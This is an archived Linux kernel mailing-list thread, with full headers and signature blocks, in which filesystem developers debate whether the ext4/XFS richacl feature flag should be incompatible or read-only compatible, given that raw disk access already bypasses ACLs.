v11 21/48] ext4: Add richacl feature flag From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH v11 21/48] ext4: Add richacl feature flag To: Austin S Hemmelgarn Cc: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4 , xfs@oss.sgi.com, LKML , linux-fsdevel , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API , "Aneesh Kumar K.V" Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lb0-f172.google.com[209.85.217.172] X-Barracuda-Start-Time: 1445276000 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23630 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Oct 19, 2015 at 6:19 PM, Austin S Hemmelgarn wrote: > On 2015-10-19 11:34, Andreas Gruenbacher wrote: >> >> On Mon, Oct 19, 2015 at 3:16 PM, Austin S Hemmelgarn >> wrote: >>> >>> On 2015-10-16 13:41, Andreas Gruenbacher wrote: >>>> >>>> >>>> On Fri, Oct 16, 2015 at 7:31 PM, Austin S Hemmelgarn >>>> wrote: >>>>> >>>>> >>>>> I would like to re-iterate, on both XFS and ext4, I _really_ think this >>>>> should be a ro_compat flag, and not an incompat one. If a person has >>>>> the >>>>> ability to mount the FS (even if it's a read-only mount), then they by >>>>> definition have read access to the file or partition that the >>>>> filesystem >>>>> is contained in, which means that any ACL's stored on the filesystem >>>>> are >>>>> functionally irrelevant, >>>> >>>> >>>> It is unfortunately not safe to make such a file system accessible to >>>> other users, so the feature is not strictly read-only compatible. >>>> >>> OK, seeing as I wasn't particularly clear as to why I object to this in >>> my >>> other e-mail, let's try this again. >>> >>> Can you please explain exactly why it isn't safe to make such a >>> filesystem >>> accessible to other users? >> >> >> See here: http://www.spinics.net/lists/linux-ext4/msg49541.html > > OK, so to clarify, this isn't 'safe' because: > 1. The richacls that exist on the filesystem won't be enforced. > 2. Newly created files will have no ACL's set. > > It is worth noting that these are also issues with any kind of access > control mechanism. Using your logic, all LSM's need to set separate > incompat feature flags in filesystems they are being used on, as should > POSIX ACLs, and for that matter so should Samba in many circumstances, and > any NFS system not using idmapping or synchronized/centralized user > databases. Now, if the SELinux (or SMACK, or TOMOYO) people had taken this > approach, then I might be inclined to not complain (at least not to you, I'd > be complaining to them about this rather poor design choice), but that is > not the case, because (I assume) they realized that all this provides is a > false sense of security. LSMs reside above the filesystem level. Let's take SELinux as an example. It has its own consistency check mechanism (relabeling). Fsck could check the syntax of SELinux labels, but it couldn't do anything sensible about corrupted labels, and syntactically correct labels also don't mean much. A relabeling run to verify or restory the appropriate policy would still be necessary to verify that labels are semantically correct, and for that, the filesystem needs to be mounted in the right place in the filesystem hierarchy. TOMOYO and AppArmor are not based on inode labels at all. LSMs usually also just provide an extra layer of security; when turned off, the basic security mechanisms still in effect will make sure that the system works just like before. (There are configurations like MLS where that is not the case, but those are uncommon.) ACLs are quite different from that. They can be checked statically by fsck. They are a basic security concept, and when turned off, there is no guarantee that the system will still be safe. > Issue 1, as I have said before, is functionally irrelevant for anyone who > actually knows what they are doing; all you need for ext* is one of the > myriad of programs for un-deleting files on such a filesystem (such as > ext4magic or extundelete, and good luck convincing them to not allow being > used when this flag is set), for BTRFS you just need the regular filesystem > administration utilities ('btrfs restore' works wonders, and that one will > _never_ honor any kind of permissions, because it's for disaster recovery), > and while I don't know of any way to do this with XFS, that is only because > I don't use XFS myself and have not had the need to provide tech support for > anyone who does. If somebody absolutely _needs_ a guarantee that the acls > will be enforced, they need to be using whole disk encryption, not just > acls, and even that can't provide such a guarantee. > > As for issue 2, that can be solved by making it a read-only compatible flag, > which is what I was suggesting be done in the first place. The only > situation I can think of that this would cause an issue for is if the > filesystem was not cleanly unmounted, and the log-replay doesn't set the > ACL's, but mounting an uncleanly unmounted filesystem that has richacls on a > kernel without support should fall into one of the following 2 cases more > than 99% of the time: > 1. The system crashed hard, and the regular kernel is un-bootable for some > reason, in this case you're at the point of disaster recovery, should not be > exposing _anything_ to a multi-user environment, and probably care a lot > more about being able to get the system running again than about not > accidentally creating a file with a missing ACL. > 2. The filesystem was maliciously stolen in some way (either the hardware > was acquired, or more likely, someone got an image of a still mounted > filesystem), in which case all of my statements above regarding issue 1 > apply. Please spare me with all that nonsense. Compared to mount options, filesystem feature flags in this case simplify things (you don't have to specify whether a filesystem contains POSIX ACLs or richacls), and they prevent administrator errors: when a filesystem mounts, it is safe to use; when it doesn't, it is not. That's all there is to it. Andreas From adilger@dilger.ca Mon Oct 19 12:42:09 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F0B5C7F60 for ; Mon, 19 Oct 2015 12:42:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id CE4E5304059 for ; Mon, 19 Oct 2015 10:42:06 -0700 (PDT) X-ASG-Debug-ID: 1445276524-04cbb035acba730001-NocioJ Received: from mail-pa0-f47.google.com (mail-pa0-f47.google.com [209.85.220.47]) by cuda.sgi.com with ESMTP id ngOgkDpDuajmHy1S (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 19 Oct 2015 10:42:05 -0700 (PDT) X-Barracuda-Envelope-From: adilger@dilger.ca X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.47 Received: by padhk11 with SMTP id hk11so35809802pad.1 for ; Mon, 19 Oct 2015 10:42:04 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:subject:mime-version:content-type:from :in-reply-to:date:cc:message-id:references:to; bh=ipSjWSQ74ksATc7Ep4UEY9VVFglYMKyMM08BHqCQ8D0=; b=YigWktENnkyYg41rUydQ+IKRI7riG2kXxWeVelsmktIehcJDShE7WlVDBJmi2F0ZDh JQMsOA3uwMxKt0TWgGy8rj9dJ6HFLuE0mgEk8/LXbYNoVtVe693LW0xs32gwkRtwAu1B jOHuCfPnyeyVT+1qj4AEqN7xjK/BX/WI9ukLA6MKl8BFKZ7OjlSyVhZxtNAT+RKpUlr2 3iS6fDdA7nBQ9+LdvV4R6WarE/Jv7zrgT7Bsljyzq24U2F2fxnC/kGfOMtsP4mnl+eNE yQoe7Jo60n/Vcj+a3kFaGvTkr1uqDqam49rarXsX2eJDKrvB1wI/kk6XUBu/H3qAwjHf IIyg== X-Gm-Message-State: ALoCoQkuK8PBdORpxr9pXO/sv5CwlB7DJXTRkjjBu637wjCDviCCBGwQ6gkUtkPUB2MMcZrYIaXN X-Received: by 10.66.160.34 with SMTP id xh2mr36819970pab.67.1445276524368; Mon, 19 Oct 2015 10:42:04 -0700 (PDT) Received: from cabot-wlan.adilger.int (S0106002191d9348b.cg.shawcable.net. [96.51.76.157]) by smtp.gmail.com with ESMTPSA id yi8sm37776698pab.22.2015.10.19.10.41.41 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 19 Oct 2015 10:42:03 -0700 (PDT) Subject: Re: [PATCH v11 21/48] ext4: Add richacl feature flag X-Barracuda-Apparent-Source-IP: 96.51.76.157 X-Barracuda-BBL-IP: 96.51.76.157 Mime-Version: 1.0 (Mac OS X Mail 8.2 \(2104\)) X-ASG-Orig-Subj: Re: [PATCH v11 21/48] ext4: Add richacl feature flag Content-Type: multipart/signed; boundary="Apple-Mail=_3404C98A-6D6D-47D4-B89F-1E37AFFC17BB"; protocol="application/pgp-signature"; micalg=pgp-sha256 X-Pgp-Agent: GPGMail 2.5.2 From: Andreas Dilger In-Reply-To: <5625182C.3050007@gmail.com> Date: Mon, 19 Oct 2015 10:39:15 -0600 Cc: Andreas Gruenbacher , Alexander Viro , Theodore Ts'o , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4 , XFS Developers , LKML , linux-fsdevel , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API , "Aneesh Kumar K.V" Message-Id: <5DE0621B-7308-41C9-A147-32E0270B28A8@dilger.ca> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> <1445008706-15115-22-git-send-email-agruenba@redhat.com> <5621346E.5000500@gmail.com> <5624ED40.7040206@gmail.com> <5625182C.3050007@gmail.com> To: Austin S Hemmelgarn X-Mailer: Apple Mail (2.2104) X-Barracuda-Connect: mail-pa0-f47.google.com[209.85.220.47] X-Barracuda-Start-Time: 1445276524 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23630 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --Apple-Mail=_3404C98A-6D6D-47D4-B89F-1E37AFFC17BB Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii On Oct 19, 2015, at 10:19 AM, Austin S Hemmelgarn = wrote: >=20 > On 2015-10-19 11:34, Andreas Gruenbacher wrote: >> On Mon, Oct 19, 2015 at 3:16 PM, Austin S Hemmelgarn >> wrote: >>> On 2015-10-16 13:41, Andreas Gruenbacher wrote: >>>>=20 >>>> On Fri, Oct 16, 2015 at 7:31 PM, Austin S Hemmelgarn >>>> wrote: >>>>>=20 >>>>> I would like to re-iterate, on both XFS and ext4, I _really_ think = this >>>>> should be a ro_compat flag, and not an incompat one. If a person = has the >>>>> ability to mount the FS (even if it's a read-only mount), then = they by >>>>> definition have read access to the file or partition that the = filesystem >>>>> is contained in, which means that any ACL's stored on the = filesystem are >>>>> functionally irrelevant, >>>>=20 >>>> It is unfortunately not safe to make such a file system accessible = to >>>> other users, so the feature is not strictly read-only compatible. >>>>=20 >>> OK, seeing as I wasn't particularly clear as to why I object to this = in my >>> other e-mail, let's try this again. >>>=20 >>> Can you please explain exactly why it isn't safe to make such a = filesystem >>> accessible to other users? >>=20 >> See here: http://www.spinics.net/lists/linux-ext4/msg49541.html > OK, so to clarify, this isn't 'safe' because: > 1. The richacls that exist on the filesystem won't be enforced. > 2. Newly created files will have no ACL's set. >=20 > It is worth noting that these are also issues with any kind of access = control mechanism. Using your logic, all LSM's need to set separate = incompat feature flags in filesystems they are being used on, as should = POSIX ACLs, and for that matter so should Samba in many circumstances, = and any NFS system not using idmapping or synchronized/centralized user = databases. Now, if the SELinux (or SMACK, or TOMOYO) people had taken = this approach, then I might be inclined to not complain (at least not to = you, I'd be complaining to them about this rather poor design choice), = but that is not the case, because (I assume) they realized that all this = provides is a false sense of security. I would tend to agree here. Anyone who can mount the filesystem on a = kernel without RichACL support can do whatever they want, so at most having a RO_COMPAT flag would serve as a reminder for accidental problems by a sysadmin not in the know. Using an INCOMPAT flag is just asking for = major headaches when someone needs to recover their filesystem on an old = kernel but doesn't provide any added safety. Cheers, Andreas > Issue 1, as I have said before, is functionally irrelevant for anyone = who actually knows what they are doing; all you need for ext* is one of = the myriad of programs for un-deleting files on such a filesystem (such = as ext4magic or extundelete, and good luck convincing them to not allow = being used when this flag is set), for BTRFS you just need the regular = filesystem administration utilities ('btrfs restore' works wonders, and = that one will _never_ honor any kind of permissions, because it's for = disaster recovery), and while I don't know of any way to do this with = XFS, that is only because I don't use XFS myself and have not had the = need to provide tech support for anyone who does. If somebody = absolutely _needs_ a guarantee that the acls will be enforced, they need = to be using whole disk encryption, not just acls, and even that can't = provide such a guarantee. >=20 > As for issue 2, that can be solved by making it a read-only compatible = flag, which is what I was suggesting be done in the first place. The = only situation I can think of that this would cause an issue for is if = the filesystem was not cleanly unmounted, and the log-replay doesn't set = the ACL's, but mounting an uncleanly unmounted filesystem that has = richacls on a kernel without support should fall into one of the = following 2 cases more than 99% of the time: > 1. The system crashed hard, and the regular kernel is un-bootable for = some reason, in this case you're at the point of disaster recovery, = should not be exposing _anything_ to a multi-user environment, and = probably care a lot more about being able to get the system running = again than about not accidentally creating a file with a missing ACL. > 2. The filesystem was maliciously stolen in some way (either the = hardware was acquired, or more likely, someone got an image of a still = mounted filesystem), in which case all of my statements above regarding = issue 1 apply. >=20 Cheers, Andreas --Apple-Mail=_3404C98A-6D6D-47D4-B89F-1E37AFFC17BB Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iQIVAwUBViUctXKl2rkXzB/gAQiVFg//WlCjN9eSwE5gEBtGcuYLlNHlyjvM5EoU UAheHBujW+3QS6JFGykQuZdY1qNTgl5TeSFUXCnNprMd6Jp0XvKDtY600iXwwAmC l8PQoYP7v3qwgtbfNUj7la9kcAYZY9u+GDmh1e32aLI0bP+KrBwXj9o4POWtdL6F Z6TL7P/wBJCJj9UWVbintU8sIiMyPmnHsz52izdNoO1LOSIhfAy5XAjn9d8TED9Z ZCwCbAP4c6GU/DhMceQMGuTR0BPUJyqzhoSAwEd+QxBm3D2N1BUhHbehiHq9r+uG MSa49iOdJ6dj6KzkzFlroIX2xuPtofcxC8qYKC905rO5eQiYaU+P4raLfZpZa2pc 2pQi09rPOM0+8LnjyFIdKyYslhf8AwcEwLQimGoBJoWPwgnjTIUCU4xmADU0WeOG IHV+dX3UNcI5wdXpI+vZlFHNyub4wBvty1JIuK1QkK94V2iuV0eb7PZIZwpxf5/9 LJQexMPTikhOvXqYd4u+8ZmGNrcq7iuOrt2+LOtxaRszRV9qRIZWctZ6n7lUSYAP v9lNZ11QKldKQhpTaYR7ESQSlMf4+ecBPc0TumBfKW9QE0vWSTJ9vmnNLAsM1KVd PDV8lw/OC6hg7DlQ0fWcv8pO17t0brZ+XpW9T3ZQ4KjktW5taYDzXcjDN430+FnC bNhL6QX+4mQ= =GnvZ -----END PGP SIGNATURE----- --Apple-Mail=_3404C98A-6D6D-47D4-B89F-1E37AFFC17BB-- From ahferroin7@gmail.com Mon Oct 19 13:45:54 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A870E7F61 for ; Mon, 19 Oct 2015 13:45:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9570C304039 for ; Mon, 19 Oct 2015 11:45:51 -0700 (PDT) X-ASG-Debug-ID: 1445280349-04cbb035acbf010001-NocioJ Received: from mail-io0-f175.google.com (mail-io0-f175.google.com [209.85.223.175]) by cuda.sgi.com with ESMTP id X9KbxQbtiVXybiBp (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 19 Oct 2015 11:45:49 -0700 (PDT) X-Barracuda-Envelope-From: ahferroin7@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.223.175 Received: by ioll68 with SMTP id l68so43998814iol.3 for ; Mon, 19 Oct 2015 11:45:49 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:to:references:cc:from:message-id:date:user-agent :mime-version:in-reply-to:content-type; bh=8lK95WVeA+BMDpdCN2Z/Z/rec3igc3CXeoXXQcgeaN0=; b=MrJGPP7vvCmej+9C5e8NWaXzjtJXgJJ6MlHNzHKOVgkI0YBQfA8ImorUc1pPWKgSLo NlXx3bxr/eVcfg95XgWySSK5K1MZhZZ4tpaGHSZWmhKA3Q51HOqyGsKtGqwl4v/kfcfF VQu2zGIeQTa7ycBln2YqzTrlfOReqYZX7e+mnbF64YZVuy/YpFVmQoYFJGdSUMrRZMOi c5kxEDCRGp0r4s73VJne3NcMFPbhF7DytKk0wue7KFt+5YVLda/CmPYYRnvrZZUxoU6M 5PIUgCN7kDBWmzsYi07OWjetJRd+Y3pHCKzmJtIyMGxiv+WN/9bOfwPJ12K41ZoUjGft E/uw== X-Received: by 10.107.151.70 with SMTP id z67mr29334206iod.73.1445280349228; Mon, 19 Oct 2015 11:45:49 -0700 (PDT) Received: from [127.0.0.1] (rrcs-70-62-41-24.central.biz.rr.com. [70.62.41.24]) by smtp.googlemail.com with ESMTPSA id h13sm14418860ioe.32.2015.10.19.11.45.46 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Mon, 19 Oct 2015 11:45:47 -0700 (PDT) Subject: Re: [PATCH v11 21/48] ext4: Add richacl feature flag To: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH v11 21/48] ext4: Add richacl feature flag References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> <1445008706-15115-22-git-send-email-agruenba@redhat.com> <5621346E.5000500@gmail.com> <5624ED40.7040206@gmail.com> <5625182C.3050007@gmail.com> Cc: Alexander Viro , Theodore Ts'o , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4 , xfs@oss.sgi.com, LKML , linux-fsdevel , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API , "Aneesh Kumar K.V" From: Austin S Hemmelgarn Message-ID: <56253A35.4070309@gmail.com> Date: Mon, 19 Oct 2015 14:45:09 -0400 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha-512; boundary="------------ms070001020509080703050503" X-Antivirus: avast! (VPS 151019-0, 2015-10-19), Outbound message X-Antivirus-Status: Clean X-Barracuda-Connect: mail-io0-f175.google.com[209.85.223.175] X-Barracuda-Start-Time: 1445280349 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23630 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature This is a cryptographically signed message in MIME format. --------------ms070001020509080703050503 Content-Type: text/plain; charset=utf-8; format=flowed Content-Transfer-Encoding: quoted-printable On 2015-10-19 13:33, Andreas Gruenbacher wrote: > On Mon, Oct 19, 2015 at 6:19 PM, Austin S Hemmelgarn > wrote: >> On 2015-10-19 11:34, Andreas Gruenbacher wrote: >>> On Mon, Oct 19, 2015 at 3:16 PM, Austin S Hemmelgarn >>> wrote: >>>> On 2015-10-16 13:41, Andreas Gruenbacher wrote: >>>>> On Fri, Oct 16, 2015 at 7:31 PM, Austin S Hemmelgarn >>>>> wrote: >>>>>> I would like to re-iterate, on both XFS and ext4, I _really_ think= this >>>>>> should be a ro_compat flag, and not an incompat one. If a person = has >>>>>> the >>>>>> ability to mount the FS (even if it's a read-only mount), then the= y by >>>>>> definition have read access to the file or partition that the >>>>>> filesystem >>>>>> is contained in, which means that any ACL's stored on the filesyst= em >>>>>> are >>>>>> functionally irrelevant, >>>>> It is unfortunately not safe to make such a file system accessible = to >>>>> other users, so the feature is not strictly read-only compatible. >>>> OK, seeing as I wasn't particularly clear as to why I object to this= in >>>> my >>>> other e-mail, let's try this again. >>>> Can you please explain exactly why it isn't safe to make such a >>>> filesystem >>>> accessible to other users? >>> See here: http://www.spinics.net/lists/linux-ext4/msg49541.html >> OK, so to clarify, this isn't 'safe' because: >> 1. The richacls that exist on the filesystem won't be enforced. >> 2. Newly created files will have no ACL's set. >> >> It is worth noting that these are also issues with any kind of access >> control mechanism. Using your logic, all LSM's need to set separate >> incompat feature flags in filesystems they are being used on, as shoul= d >> POSIX ACLs, and for that matter so should Samba in many circumstances,= and >> any NFS system not using idmapping or synchronized/centralized user >> databases. Now, if the SELinux (or SMACK, or TOMOYO) people had taken= this >> approach, then I might be inclined to not complain (at least not to yo= u, I'd >> be complaining to them about this rather poor design choice), but that= is >> not the case, because (I assume) they realized that all this provides = is a >> false sense of security. > > LSMs reside above the filesystem level. Let's take SELinux as an > example. It has its own consistency check mechanism (relabeling). Fsck > could check the syntax of SELinux labels, but it couldn't do anything > sensible about corrupted labels, and syntactically correct labels also > don't mean much. A relabeling run to verify or restory the appropriate > policy would still be necessary to verify that labels are semantically > correct, and for that, the filesystem needs to be mounted in the right > place in the filesystem hierarchy. > > TOMOYO and AppArmor are not based on inode labels at all. Apologies for being unintentionally over-inclusive WRT LSM's, and also=20 for forgetting that TOMOYO doesn't use inode labels. > LSMs usually also just provide an extra layer of security; when turned > off, the basic security mechanisms still in effect will make sure that > the system works just like before. (There are configurations like MLS > where that is not the case, but those are uncommon.) Um, actually no, even without MLS (or MCS), there is no guarantee=20 whatsoever that the system will work 'just' like before (I've actually=20 seen systems break on any (or even in one case all) of the transitions=20 between enforcing/permissive/off for SELinux, even assuming that=20 relabeling is done properly). > ACLs are quite different from that. They can be checked statically by > fsck. They are a basic security concept, and when turned off, there is > no guarantee that the system will still be safe. LSM's hook into the VFS code right alongside the regular permissions=20 checks. They are intended to supplement the regular UNIX DAC based=20 permissions. Richacls (and POSIX ACLs) also hook into the regular=20 permissions checks, and also are intended to supplement the regular UNIX = DAC based permissions. Fsck only checks the syntax of regular UNIX DAC=20 based permissions (it doesn't verify that the listed UID/GID are=20 actually valid in userspace, nor does it check for semantically=20 nonsensical permissions modes like 007 or 000), and it really can't=20 properly check anything more than that on ACL's either. Based on all of = this, richacls and LSM's which mediate filesystem accesses are on=20 exactly the same level with the exception that LSM's usually have way=20 more functionality beyond just using ACL's to control file access, LSM's = are usually MAC based while ACL's are DAC based, and the fact that ACL's = are (usually) not dependent on where in the filesystem hierarchy they=20 are found. On top of that, there is no guarantee that a system will still be safe=20 when you turn SELinux (or other LSM's) off either (in fact, for some=20 configurations, it can be mathematically proven that the system will not = be safe if you turn off SELinux). >> Issue 1, as I have said before, is functionally irrelevant for anyone = who >> actually knows what they are doing; all you need for ext* is one of th= e >> myriad of programs for un-deleting files on such a filesystem (such as= >> ext4magic or extundelete, and good luck convincing them to not allow b= eing >> used when this flag is set), for BTRFS you just need the regular files= ystem >> administration utilities ('btrfs restore' works wonders, and that one = will >> _never_ honor any kind of permissions, because it's for disaster recov= ery), >> and while I don't know of any way to do this with XFS, that is only be= cause >> I don't use XFS myself and have not had the need to provide tech suppo= rt for >> anyone who does. If somebody absolutely _needs_ a guarantee that the = acls >> will be enforced, they need to be using whole disk encryption, not jus= t >> acls, and even that can't provide such a guarantee. >> >> As for issue 2, that can be solved by making it a read-only compatible= flag, >> which is what I was suggesting be done in the first place. The only >> situation I can think of that this would cause an issue for is if the >> filesystem was not cleanly unmounted, and the log-replay doesn't set t= he >> ACL's, but mounting an uncleanly unmounted filesystem that has richacl= s on a >> kernel without support should fall into one of the following 2 cases m= ore >> than 99% of the time: >> 1. The system crashed hard, and the regular kernel is un-bootable for = some >> reason, in this case you're at the point of disaster recovery, should = not be >> exposing _anything_ to a multi-user environment, and probably care a l= ot >> more about being able to get the system running again than about not >> accidentally creating a file with a missing ACL. >> 2. The filesystem was maliciously stolen in some way (either the hardw= are >> was acquired, or more likely, someone got an image of a still mounted >> filesystem), in which case all of my statements above regarding issue = 1 >> apply. > Please spare me with all that nonsense. Compared to mount options, > filesystem feature flags in this case simplify things (you don't have > to specify whether a filesystem contains POSIX ACLs or richacls), and > they prevent administrator errors: when a filesystem mounts, it is > safe to use; when it doesn't, it is not. That's all there is to it. You're ignoring what I'm actually saying. I've said absolutely nothing=20 about needing to use mount options at all, and I'm not arguing against=20 using filesystem feature flags, I'm arguing for using them sensibly in a = way that does not present a false sense of security. Making the comparability flag read-only will exactly solve the second=20 issue that you outlined for more than 99% of all use cases (and the=20 remaining cases are provably irrelevant), still indicate clearly to the=20 FS code which type of ACL is in use on the FS, and remove the entirely=20 false sense of security WRT the first issue you outlined. Making it an incompatible flag will likely cause headaches for some=20 legitimate users, and at most delay competent hackers by a few seconds=20 to a few minutes, and script kiddies by a few hours, and is really no=20 better than security by obscurity (and from a purely logistical=20 standpoint, that's _all_ it is) in that it actively tries to hide the=20 fact that someone having read access to the storage the filesystem is on = can bypass the ACL's. To reiterate, if someone can call mount() on a filesystem, and mount()=20 does not return -EPERM, then even if mount() returns a different error,=20 they still have the ability to completely bypass all permissions and=20 ACL's in that filesystem, because they have the ability to read the=20 entire filesystem directly. The _only_ way to properly protect against people bypassing the ACL's is = to use full disk encryption and lock down root access on the system, and = even that can't completely prevent it from happening. --------------ms070001020509080703050503 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgMFADCABgkqhkiG9w0BBwEAAKCC Brgwgga0MIIEnKADAgECAgMRLfgwDQYJKoZIhvcNAQENBQAweTEQMA4GA1UEChMHUm9vdCBD QTEeMBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNp Z25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2VydC5vcmcwHhcN MTUwOTIxMTEzNTEzWhcNMTYwMzE5MTEzNTEzWjBjMRgwFgYDVQQDEw9DQWNlcnQgV29UIFVz ZXIxIzAhBgkqhkiG9w0BCQEWFGFoZmVycm9pbjdAZ21haWwuY29tMSIwIAYJKoZIhvcNAQkB FhNhaGVtbWVsZ0BvaGlvZ3QuY29tMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA nQ/81tq0QBQi5w316VsVNfjg6kVVIMx760TuwA1MUaNQgQ3NyUl+UyFtjhpkNwwChjgAqfGd LIMTHAdObcwGfzO5uI2o1a8MHVQna8FRsU3QGouysIOGQlX8jFYXMKPEdnlt0GoQcd+BtESr pivbGWUEkPs1CwM6WOrs+09bAJP3qzKIr0VxervFrzrC5Dg9Rf18r9WXHElBuWHg4GYHNJ2V Ab8iKc10h44FnqxZK8RDN8ts/xX93i9bIBmHnFfyNRfiOUtNVeynJbf6kVtdHP+CRBkXCNRZ qyQT7gbTGD24P92PS2UTmDfplSBcWcTn65o3xWfesbf02jF6PL3BCrVnDRI4RgYxG3zFBJuG qvMoEODLhHKSXPAyQhwZINigZNdw5G1NqjXqUw+lIqdQvoPijK9J3eijiakh9u2bjWOMaleI SMRR6XsdM2O5qun1dqOrCgRkM0XSNtBQ2JjY7CycIx+qifJWsRaYWZz0aQU4ZrtAI7gVhO9h pyNaAGjvm7PdjEBiXq57e4QcgpwzvNlv8pG1c/hnt0msfDWNJtl3b6elhQ2Pz4w/QnWifZ8E BrFEmjeeJa2dqjE3giPVWrsH+lOvQQONsYJOuVb8b0zao4vrWeGmW2q2e3pdv0Axzm/60cJQ haZUv8+JdX9ZzqxOm5w5eUQSclt84u+D+hsCAwEAAaOCAVkwggFVMAwGA1UdEwEB/wQCMAAw VgYJYIZIAYb4QgENBEkWR1RvIGdldCB5b3VyIG93biBjZXJ0aWZpY2F0ZSBmb3IgRlJFRSBo ZWFkIG92ZXIgdG8gaHR0cDovL3d3dy5DQWNlcnQub3JnMA4GA1UdDwEB/wQEAwIDqDBABgNV HSUEOTA3BggrBgEFBQcDBAYIKwYBBQUHAwIGCisGAQQBgjcKAwQGCisGAQQBgjcKAwMGCWCG SAGG+EIEATAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLmNhY2Vy dC5vcmcwMQYDVR0fBCowKDAmoCSgIoYgaHR0cDovL2NybC5jYWNlcnQub3JnL3Jldm9rZS5j cmwwNAYDVR0RBC0wK4EUYWhmZXJyb2luN0BnbWFpbC5jb22BE2FoZW1tZWxnQG9oaW9ndC5j 